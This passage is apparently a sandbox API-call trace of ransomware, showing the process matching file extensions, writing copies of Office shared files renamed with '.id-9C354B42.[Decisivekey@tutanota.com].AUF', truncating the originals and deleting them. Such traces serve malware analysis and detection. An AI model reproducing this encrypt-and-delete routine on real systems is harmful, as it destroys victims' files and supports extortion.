Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.766] lstrlenW (lpString=".doc") returned 4 [0211.766] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString=".docx") returned 5 [0211.766] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.766] lstrlenW (lpString=".pdf") returned 4 [0211.766] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString=".xls") returned 4 [0211.766] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString=".xlsx") returned 5 [0211.766] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.766] lstrlenW (lpString=".ppt") returned 4 [0211.766] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.766] lstrlenW (lpString=".zip") returned 4 [0211.766] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.766] lstrlenW (lpString=".rar") returned 4 [0211.766] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString=".bz2") returned 4 [0211.766] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString=".7z") returned 3 [0211.766] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.766] lstrlenW (lpString=".dbf") returned 4 [0211.766] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.766] lstrlenW (lpString=".1cd") returned 4 [0211.766] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.766] lstrlenW (lpString=".jpg") returned 4 [0211.766] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.766] lstrlenW (lpString=".doc") returned 4 [0211.766] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString=".docx") returned 5 [0211.766] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0211.766] lstrlenW (lpString=".pdf") returned 4 [0211.766] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString=".xls") returned 4 [0211.766] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.766] lstrlenW (lpString=".xlsx") returned 5 [0211.766] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0211.766] lstrlenW (lpString=".ppt") returned 4 [0211.773] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.773] lstrlenW (lpString=".zip") returned 4 [0211.773] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.773] lstrlenW (lpString=".rar") returned 4 [0211.773] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.773] lstrlenW (lpString=".bz2") returned 4 [0211.773] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.773] lstrlenW (lpString=".7z") returned 3 [0211.773] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.773] lstrlenW (lpString=".dbf") returned 4 [0211.773] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.773] lstrlenW (lpString=".1cd") returned 4 [0211.773] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML") returned 102 [0211.773] lstrlenW (lpString=".jpg") returned 4 [0211.773] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.773] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0211.773] lstrlenW (lpString="TIME.XML") returned 8 [0211.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.774] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=8564) returned 1 [0211.774] CloseHandle (hObject=0x194) returned 1 [0211.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 0x20 [0211.774] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0211.774] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.774] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.774] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0211.774] GetLastError () returned 0x0 [0211.774] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x2174, lpOverlapped=0x0) returned 1 [0211.783] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x2180, lpOverlapped=0x0) returned 1 [0211.784] ReadFile (in: hFile=0x194, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0211.784] WriteFile (in: hFile=0x1f0, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xe4, lpOverlapped=0x0) returned 1 [0211.784] SetEndOfFile (hFile=0x1f0) returned 1 [0211.784] CloseHandle (hObject=0x1f0) returned 1 [0211.784] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.784] SetEndOfFile (hFile=0x194) returned 1 [0211.785] CloseHandle (hObject=0x194) returned 1 [0211.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0211.785] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml")) returned 1 [0211.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.785] lstrlenW (lpString=".doc") returned 4 [0211.785] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.785] lstrlenW (lpString=".docx") returned 5 [0211.785] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0211.785] lstrlenW (lpString=".pdf") returned 4 [0211.785] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.785] lstrlenW (lpString=".xls") returned 4 [0211.785] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.785] lstrlenW (lpString=".xlsx") returned 5 [0211.785] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0211.785] lstrlenW (lpString=".ppt") returned 4 [0211.785] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.785] lstrlenW (lpString=".zip") returned 4 [0211.785] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.785] lstrlenW (lpString=".rar") returned 4 [0211.786] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString=".bz2") returned 4 [0211.786] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString=".7z") returned 3 [0211.786] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString=".dbf") returned 4 [0211.786] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString=".1cd") returned 4 [0211.786] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString=".jpg") returned 4 [0211.786] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString=".doc") returned 4 [0211.786] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString=".docx") returned 5 [0211.786] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0211.786] lstrlenW (lpString=".pdf") returned 4 [0211.786] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString=".xls") returned 4 [0211.786] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString=".xlsx") returned 5 [0211.786] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0211.786] lstrlenW (lpString=".ppt") returned 4 [0211.786] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString=".zip") returned 4 [0211.786] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0211.786] lstrlenW (lpString=".rar") returned 4 [0211.786] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString=".bz2") returned 4 [0211.786] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString=".7z") returned 3 [0211.786] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString=".dbf") returned 4 [0211.786] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString=".1cd") returned 4 [0211.786] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0211.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML") returned 76 [0211.786] lstrlenW (lpString=".jpg") returned 4 [0211.786] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0211.787] lstrcmpiW (lpString1=".TXT", lpString2=".AUF") returned 1 [0211.787] lstrlenW (lpString="METCONV.TXT") returned 11 [0211.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.792] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=1183416) returned 1 [0211.792] CloseHandle (hObject=0x1f8) returned 1 [0211.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0211.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0211.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0211.792] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.792] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0211.792] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0211.792] GetLastError () returned 0x0 [0211.792] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0xffff0, lpOverlapped=0x0) returned 1 [0211.850] WriteFile (in: hFile=0x180, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0211.864] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0212.007] WriteFile (in: hFile=0x180, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0212.021] ReadFile (in: hFile=0x1f8, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.021] WriteFile (in: hFile=0x180, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0212.021] SetEndOfFile (hFile=0x180) returned 1 [0212.021] CloseHandle (hObject=0x180) returned 1 [0212.021] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.021] SetEndOfFile (hFile=0x1f8) returned 1 [0212.022] CloseHandle (hObject=0x1f8) returned 1 [0212.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.023] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0212.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.023] lstrlenW (lpString=".doc") returned 4 [0212.023] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0212.023] lstrlenW (lpString=".docx") returned 5 [0212.023] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0212.023] lstrlenW (lpString=".pdf") returned 4 [0212.023] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0212.023] lstrlenW (lpString=".xls") returned 4 [0212.023] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0212.023] lstrlenW (lpString=".xlsx") returned 5 [0212.023] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0212.023] lstrlenW (lpString=".ppt") returned 4 [0212.023] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0212.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.023] lstrlenW (lpString=".zip") returned 4 [0212.023] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0212.023] lstrlenW (lpString=".rar") returned 4 [0212.023] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0212.023] lstrlenW (lpString=".bz2") returned 4 [0212.023] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0212.023] lstrlenW (lpString=".7z") returned 3 [0212.023] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0212.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString=".dbf") returned 4 [0212.024] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString=".1cd") returned 4 [0212.024] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString=".jpg") returned 4 [0212.024] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString=".doc") returned 4 [0212.024] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString=".docx") returned 5 [0212.024] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0212.024] lstrlenW (lpString=".pdf") returned 4 [0212.024] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString=".xls") returned 4 [0212.024] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0212.024] lstrlenW (lpString=".xlsx") returned 5 [0212.024] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0212.024] lstrlenW (lpString=".ppt") returned 4 [0212.024] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString=".zip") returned 4 [0212.024] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0212.024] lstrlenW (lpString=".rar") returned 4 [0212.024] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString=".bz2") returned 4 [0212.024] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString=".7z") returned 3 [0212.024] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString=".dbf") returned 4 [0212.024] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString=".1cd") returned 4 [0212.024] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0212.024] lstrlenW (lpString=".jpg") returned 4 [0212.024] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0212.024] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0212.024] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0212.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0212.061] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=34916) returned 1 [0212.061] CloseHandle (hObject=0x180) returned 1 [0212.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 0x20 [0212.061] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0212.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0212.061] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.061] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.061] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0212.061] GetLastError () returned 0x0 [0212.061] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x8864, lpOverlapped=0x0) returned 1 [0212.067] WriteFile (in: hFile=0x1e8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x8870, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x8870, lpOverlapped=0x0) returned 1 [0212.068] ReadFile (in: hFile=0x180, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0212.069] WriteFile (in: hFile=0x1e8, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0212.069] SetEndOfFile (hFile=0x1e8) returned 1 [0212.069] CloseHandle (hObject=0x1e8) returned 1 [0212.071] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0212.071] SetEndOfFile (hFile=0x180) returned 1 [0212.072] CloseHandle (hObject=0x180) returned 1 [0212.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0212.072] DeleteFileW 